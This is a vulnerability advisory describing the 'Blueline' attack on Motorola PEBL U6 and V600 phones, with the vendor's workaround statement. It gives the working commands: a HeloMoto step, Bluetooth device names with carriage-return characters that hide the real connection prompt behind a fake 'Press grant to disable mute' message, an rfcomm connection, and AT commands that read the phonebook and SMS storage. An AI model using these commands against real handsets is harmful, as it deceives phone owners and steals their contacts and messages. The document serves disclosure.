Blueline attack Author: Kevin Finisterre Vendor: http://www.motorola.com Product: 'Motorola PEBL U6, Motorola V600, other Motorola P2k based phones?' References: http://www.digitalmunition.com/DMA[2006-0321a].txt http://www.motorola.com/motoinfo/product/details/0,,11,00.html http://www.motorola.com/motoinfo/product/details/0,,87,00.html http://www.digitalmunition.com/P1010048.JPG The next issue involves a bit of social engineering complements of the Motorola Bluetooth user interface. The PEBL (and the V600?) offers 2 voice gateways, one requires pairing and one does not. The "Headset Audio Gateway" on channel 3 does not require pairing before a connection can be made. Because of this an attacker main gain extra access to the phone if a user can be convinced to press "Grant". Keep in mind that if the attackers phone has not yet been added to the "Device History" list it will be unable to connect to channel 3. A simple HeloMoto attack on port 8 will help eliminate this requirement however. # ./helomoto plant 00:15:A8:74:87:3E 8 You can find more information about Helo moto in the following locations. http://trifinite.org/Downloads/helomoto.tgz http://trifinite.org/trifinite_stuff_helomoto.html The following profile ultimately allows the UI spoofing to occur. Service Name: Voice Gateway Service Description: Headset Audio Gateway Service Provider: T-Mobile Service RecHandle: 0x10003 Service Class ID List: "Headset Audio Gateway" (0x1112) "Generic Audio" (0x1203) Protocol Descriptor List: "L2CAP" (0x0100) "RFCOMM" (0x0003) Channel: 3 Language Base Attr List: code_ISO639: 0x656e encoding: 0x6a base_offset: 0x100 code_ISO639: 0x6672 encoding: 0x6a base_offset: 0xc800 code_ISO639: 0x6573 encoding: 0x6a base_offset: 0xc803 code_ISO639: 0x7074 encoding: 0x6a base_offset: 0xc806 Profile Descriptor List: "Headset" (0x1108) Version: 0x0100 Please note that this profile does require that the user accept an inbound connection. The following message pops up under normal circumstances when channel 3 is contacted: Remote Bluetooth Device Name Requests Voice Gateway? (Grant or Deny) Although the user if prompted for the connection I have found that the user interface will respond interestingly to the 0x0d character. With a bit of creativity we can perhaps trick a user into accepting our connection request. # hciconfig hci0 name `echo -e "A\x0dB\x0dC\x0dD\x0dE\x0dF\x0dG"` # rfcomm connect 0 00:15:A8:74:87:3E 3 The above command will result in the following message being displayed on screen: A B C D E F ... (Grant or Deny) Six new line characters seem to be enough to push the factory default message off of the screen of the handset. We can obviously be more creative... # hciconfig hci0 name `perl -e 'print "Press\x0dgrant\x0dto\x0ddisable\x0dmute\x0d\x0d"'` # rfcomm connect 0 00:15:A8:74:87:3E 3 (wait for user to press grant) Connected /dev/rfcomm0 to 00:15:A8:74:87:3E on channel 3 Press CTRL-C for hangup On the Motorola handset we get Press grant to disable mute (Grant or Deny) An actual screen shot from the phone during an attack can be found here: http://www.digitalmunition.com/P1010048.JPG Once connected to the Audio Gateway the attacker will have AT level access to the phone. Access to personal information such as Phone book entries and SMS data are up for grabs at this point. Connected /dev/rfcomm0 to 00:15:A8:74:87:3E on channel 3 Press CTRL-C for hangup ATE1 OK AT+GMI +GMI: "Motorola CE, Copyright 2000" OK AT+GMM +GMM: "GSM900","GSM1800","GSM1900","GSM850","MODEL=PEBL U6" OK AT+GMR +GMR: "R478_G_08.83.76R" OK AT+CPMS=MT +CPMS: 14,254 OK AT+CPBR=1 +CPBR: 1,"13133742069",129,"Stroke - milw0rm" Since 0x0d is commonly used as a newline character I am going to label this a "Blueline" attack (I am a hockey fan what can I say). The Motorola V600 also appears to be vulnerable to this attack. Like the PEBL the attacker must first be in the phones "Device History" or the phone must first be exploited via the HeloMoto attack. RAZRv3 also exhibited similar UI behavior however other factors did not make it immediately viable for an attack scenario. (Thanks Marcel and Adam). As a final side note it is worth mentioning that Tonu Samuel (tonu@jes.ee) has also confirmed similar issues on the Motorola E398 handset. Work Around: The following statements are paraphrased from a collection of email communications between myself and Motorola. Motorola is committed to providing the best consumer experience possible and software performance is key to enabling that. At this point the fixes for both issues have been incorporated into software for future phone production. While it is possible to update the software on Motorola phones, they do not currently have a mechanism to make the new software available to consumers with existing phones. Both issues have been identified via Motorola internal testing and Motorola has developed fixes for these issue which they are incorporating into their phone software moving forward. Motorola evaluates the need for providing patches to existing phones on a case by case basis, by working with their partners in the marketplace. If there is a clear need for updates to existing phones, they will take appropriate action. Consumer satisfaction is the top priority for Motorola so they do what is necessary to ensure that they deliver a quality experience. To that end, Motorola has been focusing on prevention/ education, not just providing a cure. Motorola is really interested in helping consumers learn how to use Bluetooth technology safely... helping educate them on the simple things they can do (like not making their phones discoverable in public) to make their Bluetooth use safer. Special thanks to: Alan Buddendeck, Natanya Ray and Greg Muchnik of Motorola for helping with these issues. The Trifinite.group of course! It is the authors view that other phones may be vulnerable to the "Blueline" attack, a comprehensive list of vulnerable phones and manufacturers will be published once it has been identified.